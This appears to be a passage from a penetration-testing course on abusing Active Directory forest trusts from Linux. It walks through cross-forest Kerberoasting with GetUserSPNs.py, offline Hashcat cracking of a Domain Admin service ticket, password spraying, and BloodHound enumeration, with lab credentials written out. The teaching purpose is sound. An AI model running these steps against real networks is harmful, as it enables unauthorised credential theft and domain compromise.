Cross-Forest Trust Abuse - from Linux
It is often possible to Kerberoast across a forest trust. If this is possible in the environment we are assessing, we can perform this with GetUserSPNs.py
from our Linux attack host. To do this, we need credentials for a user that can authenticate into the other domain and specify the -target-domain
flag in our command.
Cross-Forest Kerberoasting
neutron@kali[/kali]$ GetUserSPNs.py -target-domain LEGALLOGISTICS.LOCAL LEGALCORP/wley
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------------- -------- ------------------------------------------------------ -------------------------- --------- ----------
MSSQLsvc/sql01.freightlogstics:1433 mssqlsvc CN=Domain Admins,CN=Users,DC=LEGALLOGISTICS,DC=LOCAL 2022-03-24 15:47:52.488917 <never>
Rerunning the command with the -request
flag added gives us the TGS ticket. We could also add -outputfile <OUTPUT FILE>
to output directly into a file that we could then turn around and run Hashcat against.
neutron@kali[/kali]$ GetUserSPNs.py -request -target-domain LEGALLOGISTICS.LOCAL legalcorp.local/wley
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------------- -------- ------------------------------------------------------ -------------------------- --------- ----------
MSSQLsvc/sql01.freightlogstics:1433 mssqlsvc CN=Domain Admins,CN=Users,DC=LEGALLOGISTICS,DC=LOCAL 2022-03-24 15:47:52.488917 <never>
$krb5tgs$23$*mssqlsvc$LEGALLOGISTICS.LOCAL$LEGALLOGISTICS.LOCAL/mssqlsvc*$10<SNIP>
We could then attempt to crack this offline using Hashcat with mode 13100
. If successful, we'd be able to authenticate into the LEGALLOGISTICS.LOCAL
domain as a Domain Admin. If we are successful with this type of attack during a real-world assessment, it would also be worth checking to see if this account exists in our current domain and if it suffers from password re-use.
Suppose we can Kerberoast across a trust and have run out of options in the current domain. In that case, it could also be worth attempting a single password spray with the cracked password, as there is a possibility that it could be used for other service accounts if the same admins are in charge of both domains.
Hunting Foreign Group Membership with Bloodhound-python
If we are testing from a Linux host, we can gather this information by using the Python implementation of BloodHound.
This tool requires a DNS hostname for the target Domain Controller instead of an IP address.
neutron@kali[/kali]$ cat /etc/resolv.conf
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
# DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
# 127.0.0.53 is the systemd-resolved stub resolver.
# run "resolvectl status" to see details about the actual nameservers.
#nameserver 1.1.1.1
#nameserver 8.8.8.8
domain legalcorp.local
nameserver 172.16.5.5
neutron@kali[/kali]$ bloodhound-python -d legalcorp.local -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2
INFO: Found AD domain: legalcorp.local
INFO: Connecting to LDAP server: ACADEMY-EA-DC01
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 559 computers
INFO: Connecting to LDAP server: ACADEMY-EA-DC01
INFO: Found 2950 users
INFO: Connecting to GC LDAP server: ACADEMY-EA-DC02.LOGISTICS.legalcorp.local
INFO: Found 183 groups
INFO: Found 2 trusts
<SNIP>
neutron@kali[/kali]$ zip -r lcorp_bh.zip *.json
adding: 20220329140127_computers.json (deflated 99%)
adding: 20220329140127_domains.json (deflated 82%)
adding: 20220329140127_groups.json (deflated 97%)
adding: 20220329140127_users.json (deflated 98%)
Upload one single zip file directly into the BloodHound GUI.
Repeat the same process, this time filling in the details for the LEGALLOGISTICS.LOCAL
domain.
neutron@kali[/kali]$ cat /etc/resolv.conf
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
# DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
# 127.0.0.53 is the systemd-resolved stub resolver.
# run "resolvectl status" to see details about the actual nameservers.
#nameserver 1.1.1.1
#nameserver 8.8.8.8
domain LEGALLOGISTICS.LOCAL
nameserver 172.16.5.238
neutron@kali[/kali]$ bloodhound-python -d LEGALLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.LEGALLOGISTICS.LOCAL -c All -u [email protected] -p Klmcargo2
INFO: Found AD domain: LEGALLOGISTICS.local
INFO: Connecting to LDAP server: ACADEMY-EA-DC03.LEGALLOGISTICS.LOCAL
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 5 computers
INFO: Connecting to LDAP server: ACADEMY-EA-DC03.LEGALLOGISTICS.LOCAL
INFO: Found 9 users
INFO: Connecting to GC LDAP server: ACADEMY-EA-DC03.LEGALLOGISTICS.LOCAL
INFO: Found 52 groups
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
After uploading the second set of data (either each JSON file or as one zip file), we can click on Users with Foreign Domain Group Membership
under the Analysis
tab and select the source domain as legalcorp.local
. Here, we will see the built-in Administrator account for the legalcorp.local domain is a member of the built-in Administrators group in the LEGALLOGISTICS.LOCAL domain.